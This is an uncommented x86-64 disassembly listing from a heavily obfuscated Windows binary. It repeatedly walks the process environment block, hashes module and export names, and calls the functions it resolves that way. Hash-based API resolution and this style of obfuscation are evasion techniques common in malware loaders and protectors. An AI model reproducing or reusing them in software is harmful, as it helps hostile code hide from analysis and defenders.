shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x51
and ecx, 0x8000003f
jge 0x1401d4e72
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, qword [rsp + 0x78]
ror rax, cl
not rax
imul rax, r9
mov qword [rsp + 0x78], rax
imul rax, rax, 0xffffffffe4372526
mov qword [rsp + 0x50], rax
movabs r11, 0x530351d9a230a132
add r11, rax
mov rdx, rbx
imul rdx, rsi
sub rdx, r11
xor rdx, rdi
movzx eax, r11b
mov dword [rsp + 0x30], eax
xor eax, 0xfffffffe
and eax, 0xf
mov r10d, 0x40
mov ecx, r10d
sub ecx, eax
mov rdi, rdx
shr rdi, cl
mov ecx, eax
shl rdx, cl
or rdi, rdx
mov rax, r11
sub rax, qword [0x1402b2078]
xor rdi, rax
movabs rcx, 0x6aa8de6fbbbdd894
mov rax, qword [rsp + 0x78]
imul rax, rcx
movabs rcx, 0x56608004203fedc4
sub rax, rcx
xor rdi, rax
xor rdi, r9
xor rdi, r8
mov rax, rdi
not rax
and eax, 2
je 0x1401d52cb
sub rax, 1
je 0x1401d5177
sub rax, 1
je 0x1401d504e
cmp rax, 1
jne 0x1401d538e
mov rcx, r11
imul rcx, rbx
movabs rax, 0xec4825053ab44bf2
add rax, rdi
xor rcx, rax
ror rcx, 6
shr rcx, 0xc
xor rcx, r8
not rcx
mov qword [rsp + 0x40], rcx
movabs rdx, 0x83575d4b5346
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0x5381d4a1b460d2f0
xor r8, rax
mov eax, ecx
imul eax, edi
and eax, 0x3f
mov ecx, r10d
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db905abbfb9
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
movabs rax, 0xacfcae265dcf5ece
imul rcx, rax
mov eax, 0xd4706d53
add rcx, rax
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r10, [0x1402b2060]
mov cl, byte [r10 + rcx*8]
and cl, 0xf
movabs rax, 0x5c8d9d4a65235227
sub rax, qword [rsp + 0x40]
shr rax, cl
mov qword [rsp + 0x30], rax
movabs rcx, 0x530b7661c924bed2
add rcx, qword [rsp + 0x50]
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rdi
imul rax, qword [r10 + rcx*8]
imul rax, rdi
sub rax, rsi
mov r10, qword [rsp + 0x30]
xor r10, rax
jmp 0x1401d516d
movabs rax, 0xaaaaaa1ad469906d
mov rcx, rdi
xor rcx, rax
movabs rax, 0x1206ed16644c21
imul rcx, rax
movabs rdx, 0xfff17ca8030ba611
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8af279a2b1
mov rdx, qword [rsp + 0x50]
imul rdx, rax
movabs rbx, 0xa6a1f0f850bcba43
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be06b9470d
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, rbx
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffff813c46bd
lea eax, [rdi - 0x11]
and eax, 0x3f
mov ecx, r10d
sub ecx, eax
mov r11, rdx
shr r11, cl
mov ecx, eax
shl rdx, cl
or r11, rdx
movabs rcx, 0x45051c040000000
mov rax, qword [rsp + 0x90]
xor rax, rcx
movabs rcx, 0x7c7a7dc6e83b4c0c
and rax, rcx
imul r11, rax
mov rcx, r11
ror rcx, 0xd
not rcx
movabs rax, 0x9b2de6b3255714a8
imul rcx, rax
mov rax, rbx
sub rax, r11
lea r8, [rcx + rax*4]
mov eax, esi
and eax, 0x3f
mov ecx, r10d
sub ecx, eax
mov r10, r8
shl r10, cl
mov ecx, eax
shr r8, cl
or r10, r8
movabs rax, 0xacfcae265dcf5ece
imul r10, rax
mov r8, qword [rsp + 0x68]
jmp 0x1401d5398
movabs rax, 0x5793bc04e9a1ce44
imul rdi, rax
movabs rax, 0xd79435e50d79435f
mul rdi
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, dil
sub cl, dl
movabs rdx, 0x530351d9a230a131
mov rax, r8
imul rax, rdx
movabs rdx, 0xf16da18bc95571bd
xor rax, rdx
not rax
shl rax, cl
xor rax, r9
mov edx, dword [rsp + 0x30]
and edx, 0x3f
mov ecx, r10d
sub ecx, edx
mov r9, rax
shr r9, cl
mov ecx, edx
shl rax, cl
or r9, rax
movabs rcx, 0x530351d9a230a132
add rcx, rdi
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffee265dcf5ece
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a788ade640
or r9, rax
mov r10, qword [0x1402b2070]
movabs rax, 0xf16da18bc95571bd
imul r10, rax
sub r10, r11
mov rax, rsi
sub rax, r9
xor r10, rax
movabs rax, 0xc7a7c6a6d9a5e64d
xor r10, rax
movabs rax, 0xcccccccccccccccd
mul r8
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r8
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, r10
div rcx
mov rcx, rdx
mov rdx, rdi
imul rdx, r11
imul rdx, r10
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, r8
movabs r8, 0x789589416f7aa57
add r8, rax
xor r8, rsi
movzx eax, bl
imul ecx, eax, 0xe8
and cl, 0x3f
rol r8, cl
not r8
jmp 0x1401d5398
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, rdi
imul rax, qword [0x1402b2080]
lea rdx, [0x1402b2060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9d, 0x3f
mov eax, r9d
mov ecx, r10d
sub ecx, r9d
mov r9, rdx
shl r9, cl
mov ecx, eax
shr rdx, cl
or r9, rdx
imul r9, r11
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de0454b7ac
imul rsi, rax
mov rax, r9
imul rax, r8
mov r8, rsi
xor r8, rax
imul r10, qword [0x1402b2060], 0xffffffffe4372526
mov rdx, qword [0x1402b2068]
sub r10, rdx
mov al, r8b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d5379
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror r10, cl
movabs rsi, 0x530351d9a230a132
add rsi, r10
add rsi, qword [rsp + 0x50]
movabs r10, 0xacfcae265dcf5ece
movabs rax, 0xff055d7bf41fbd61
mov rcx, qword [rsp + 0x40]
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
xor r9, r8
lea rax, [0x1402b2060]
imul r9, qword [rax + rcx*8]
not r11
imul r11, rdi
imul r11, rsi
imul r11, r10
movabs rcx, 0xf5ed7e87f3acf7bd
xor rcx, rbx
not rcx
xor rcx, r11
sub rcx, r9
call fcn.14016e560
mov qword [0x1402b3148], rax
mov edi, r13d
mov dword [rsp + 0x30], 0x27a75f0e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d547c
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xf233d04
jmp 0x1401d546e
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d544d
cmp r10d, edi
jne 0x1401d5519
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d5519
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d5519
mov r9d, dword [rbx + 0x20]
mov r8d, dword [rsp + 0x30]
dec esi
mov edx, esi
mov qword [rsp + 0x50], rdx
lea rdx, [r10 + rsi*4]
mov r11d, dword [rdx + r9]
add r11, r10
mov edx, 0xf233d04
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
je 0x1401d550c
mov r10d, edx
movsx r8d, r9b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
jne 0x1401d54d1
mov dword [rsp + 0x40], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x30]
cmp edx, r8d
je 0x1401d5521
test esi, esi
mov r9d, dword [rbx + 0x20]
jne 0x1401d54aa
mov rax, qword [rax]
jmp 0x1401d5421
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
mov r8, qword [rsp + 0x50]
movzx eax, word [rax + r8*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, rbx
jbe 0x1401d55c0
lea rax, [rbx + rcx]
cmp r9, rax
jae 0x1401d55c0
mov edi, 0xf233d04
mov r11d, edi
mov dword [rsp + 0x30], edi
jmp 0x1401d5572
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r9, r14
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401d555a
add r9, r14
mov al, byte [r9]
test al, al
je 0x1401d55aa
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, r11d
mov r11d, eax
imul r11d, ecx
add r9, r14
mov al, byte [r9]
test al, al
jne 0x1401d5583
mov dword [rsp + 0x30], r11d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d5519
mov qword [rsp + 0x188], r13
movabs rax, 0x6c741cfc776e6df
mov qword [rsp + 0x188], rax
movabs rcx, 0xf33a52b0a2710303
add rcx, qword [rsp + 0x188]
movabs rax, 0x2855366253043475
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f494ce208
sub rcx, rax
movabs rax, 0xf8f8cd9dec9fd2a1
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x47d654c0e4002957
add rcx, rax
mov rdx, qword [0x1402b2040]
add rcx, rdx
movabs rax, 0x5a9179ae86b79299
xor rcx, rax
movabs rax, 0x5f627dc63695926c
sub rcx, rax
movabs rax, 0xc63b3cd510306028
xor rcx, rax
movabs rax, 0x3483ce49fec46875
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac289c260
mov rax, qword [0x1402b2038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53d763d9f
mov rcx, qword [0x1402b2030]
xor rcx, rax
movabs r8, 0xe0b56d783422d535
add r8, rdx
add r8, rcx
movabs rax, 0x13e6e27a1f2099a0
xor r8, rax
mov qword [rsp + 0x188], r8
mov dword [rsp + 0xbc], r13d
mov dword [rsp + 0xbc], 0x2038e0d2
mov eax, dword [rsp + 0xbc]
add eax, 0xb7211ab7
xor eax, 0xb00c4925
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x618af24e
xor eax, 0xb79cfa8f
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x6beb2129
add eax, ecx
xor eax, 0x4f1eb791
sub eax, 0x48f4bd23
xor eax, 0x1d97aecd
mov edx, dword [0x1402b2030]
xor edx, 0x1d237d41
sub edx, eax
mov eax, dword [0x1402b2038]
xor eax, 0xe2dc82be
sub edx, eax
sub edx, ecx
add edx, 0x4492d37b
xor edx, 0xabcdf83e
mov dword [rsp + 0xbc], edx
mov rsi, qword [rsp + 0x430]
mov rcx, rsi
call r9
nop
mov dword [rsp + 0xbc], r13d
mov qword [rsp + 0x188], r13
mov qword [rsp + 0x190], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x198], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x198]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rdi, qword [0x1402b2040]
add rcx, rdi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rdi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x198], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x190]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x190], rcx
and rcx, rdx
mov rbx, qword [rsp + 0x1b8]
mov qword [rsp + 0x50], rbx
cmp rbx, rcx
setne al
mov qword [rsp + 0x198], r13
mov qword [rsp + 0x190], r13
test al, al
jne 0x1401d5a48
mov dword [rsp + 0xc0], r13d
mov dword [rsp + 0xc0], 0x6483a19e
mov eax, dword [rsp + 0xc0]
add eax, 0x6b08
xor eax, 0x5cc2d4
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x52f7ff2f
xor eax, 0x2cd6ee68
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd1dba60b
add eax, ecx
xor eax, 0xdb3cc160
add eax, 0x715d039b
xor eax, 0xf6a4392d
lea edx, [rcx + 0xd1999cb]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0x24c33e94
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0xdb3cc16b
add ecx, 0xcc5be9fa
add ecx, edx
xor ecx, 0xd678bbdc
mov dword [rsp + 0xc0], ecx
mov dword [rsp + 0xc0], r13d
jmp 0x1401d5c9e
mov ebx, r13d
mov dword [rsp + 0x30], 0x6bb3ed86
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d5ab7
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xe988c862
jmp 0x1401d5aad
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d5a90
cmp r9d, ebx
jne 0x1401d5b36
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401d5b36
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x1401d5b36
mov r10d, dword [r11 + 0x20]
dec edi
mov r8d, edi
lea rdx, [r9 + rdi*4]
mov r10d, dword [rdx + r10]
add r10, r9
mov esi, 0xe988c862
mov dl, byte [r10]
add r10, r14
test dl, dl
je 0x1401d5b28
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r10]
add r10, r14
test dl, dl
jne 0x1401d5b01
mov r8d, edi
cmp esi, dword [rsp + 0x30]
je 0x1401d5b3e
test edi, edi
mov r10d, dword [r11 + 0x20]
jne 0x1401d5ae2
mov rax, qword [rax]
jmp 0x1401d5a64
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rdx + rax*4]
add r10, r9
cmp r10, r11
jbe 0x1401d5bd5
lea rax, [r11 + rcx]
cmp r10, rax
jae 0x1401d5bd5
mov ebx, 0xe988c862
mov edx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x1401d5b8b
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r10, r14
mov al, byte [r10]
cmp al, 0x2e
jne 0x1401d5b73
add r10, r14
mov al, byte [r10]
test al, al
je 0x1401d5bbf
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r10, r14
mov al, byte [r10]
test al, al
jne 0x1401d5b9c
mov dword [rsp + 0x30], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d5b36
mov dword [rsp + 0xc4], r13d
mov dword [rsp + 0xc4], 0xd9c4e74d
mov eax, dword [rsp + 0xc4]
add eax, 0x3c71d735
xor eax, 0x6c89ce76
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x25e51b7c
xor eax, 0x3c36fb1f
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x974094c
add eax, ecx
xor eax, 0x230ea091
add eax, 0x4a428389
xor eax, 0x77032608
lea edx, [rcx + 0xbf99a0f]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8f1c5b0
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x270e3a4f
add ecx, 0x724e21ca
add ecx, edx
xor ecx, 0x5905e150
mov dword [rsp + 0xc4], ecx
movsxd rdx, ecx
mov rbx, qword [rsp + 0x1b8]
mov qword [rsp + 0x50], rbx
mov r9, rbx
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x430]
call r10
nop
mov dword [rsp + 0xc4], r13d
mov rsi, qword [rsp + 0x430]
mov dword [rsp + 0xc8], r13d
mov dword [rsp + 0xc8], 0x250479a8
mov eax, dword [rsp + 0xc8]
add eax, 0x6b07
xor eax, 0x5c43c6
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x517ad5cf
xor eax, 0x2ed32593
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xcf9fe7fd
add eax, ecx
xor eax, 0xdd38f88b
add eax, 0x73593abd
xor eax, 0xf6a8319c
lea edx, [rcx + 0x9a03943]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0x22c7076a
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0xdd38f895
add ecx, 0xca5fb24e
add ecx, edx
xor ecx, 0x2e3600b2
mov dword [rsp + 0xc8], ecx
mov rax, qword [rsp + 0x70]
mov byte [rax + rsi], cl
mov dword [rsp + 0xc8], r13d
mov qword [rsp + 0x1a0], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x1a8], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x1a8]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x1a8], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x1a0]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x1a0], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1a0], r13
test al, al
je 0x1401d61dc
mov edi, r13d
mov dword [rsp + 0x30], 0xf55e3c02
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d5fde
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xe597f05e
jmp 0x1401d5fd0
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d5faf
cmp r10d, edi
jne 0x1401d607b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d607b
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d607b
mov r9d, dword [rbx + 0x20]
mov r8d, dword [rsp + 0x30]
dec esi
mov edx, esi
mov qword [rsp + 0x50], rdx
lea rdx, [r9 + rsi*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, 0xe597f05e
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
je 0x1401d606e
mov r10d, edx
movsx r8d, r9b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
jne 0x1401d6033
mov dword [rsp + 0x40], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x30]
cmp edx, r8d
je 0x1401d6083
test esi, esi
mov r9d, dword [rbx + 0x20]
jne 0x1401d600c
mov rax, qword [rax]
jmp 0x1401d5f83
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
mov r8, qword [rsp + 0x50]
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1401d6124
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x1401d6124
mov eax, 0xe597f05e
mov edi, eax
mov r11d, eax
mov dword [rsp + 0x30], eax
jmp 0x1401d60d6
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d60be
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d610e
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, r11d
mov r11d, eax
imul r11d, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d60e7
mov dword [rsp + 0x30], r11d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d607b
mov rcx, qword [rsp + 0x1b8]
call r8
mov dword [rsp + 0xcc], r13d
mov dword [rsp + 0xcc], 0xb843949f
mov eax, dword [rsp + 0xcc]
add eax, 0x3359fab5
xor eax, 0x9009c55e
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x59ff9cee
xor eax, 0x45733711
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd5cbed1b
add eax, ecx
xor eax, 0x2d6dd813
add eax, 0x43c53f5f
xor eax, 0x5f8f5d07
lea edx, [rcx - 0x6b2e3078]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8cd663e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x273299c1
add ecx, 0x4e0c1058
add ecx, edx
xor ecx, 0x9f1122be
mov dword [rsp + 0xcc], ecx
movsxd rbx, ecx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x1b8], rbx
mov dword [rsp + 0xcc], r13d
movabs rax, 0x7583fcd70515c356
mov qword [rsp + 0x40], rax
movabs r8, 0x2dfe1e568e5d1e57
mov r9, r13
movabs rsi, 0x8cbb3bee3609890c
movabs rax, 0xf0ad59ff5e08a0e8
mov rcx, qword [0x1402b2070]
imul rcx, rax
not rcx
movabs r10, 0x7344c411d6ca5520
mov rax, qword [0x1402b2060]
xor rax, r10
and rcx, rax
ror rcx, 0x18
shr rcx, 8
mov qword [rsp + 0x68], rcx
movabs rax, 0x1d681b76facec698
mov r11, qword [0x1402b2070]
imul r11, rax
add r11, r8
movabs rax, 0x1b383eb080000000
xor r11, rax
shr r11, 0x1f
not r11
movabs r10, 0xd201e1a971a2e1a9
lea rcx, [r11 + r10]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x1402b2060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x2f
and ecx, 0x8000003f
jge 0x1401d62bc
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, r11
ror rax, cl
not rax
mov qword [rsp + 0x90], rax
movabs rcx, 0xf760fb835f8dde10
imul rax, rcx
mov qword [rsp + 0x78], rax
lea rdi, [rax + r10]
mov r10, r11
mov rdx, qword [rsp + 0x68]
imul r10, rdx
sub r10, rdi
movabs rax, 0x7583fcd70515c356
xor r10, rax
movzx ecx, dil
mov dword [rsp + 0x30], ecx
and ecx, 0xf
jge 0x1401d6316
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
rol r10, cl
movabs rcx, 0x8ab7bfeea50c5770
mov rax, qword [rsp + 0x90]
imul rax, rcx
movabs rcx, 0x6c83ca046d317e6f
add rax, rcx
xor r10, rax
mov rax, rdi
sub rax, qword [0x1402b2078]
xor r10, rax
xor r10, rsi
mov rax, r10
and eax, 3
je 0x1401d66a9
sub rax, 1
je 0x1401d6597
sub rax, 1
je 0x1401d6492
cmp rax, 1
jne 0x1401d673b
mov rcx, rdi
imul rcx, r11
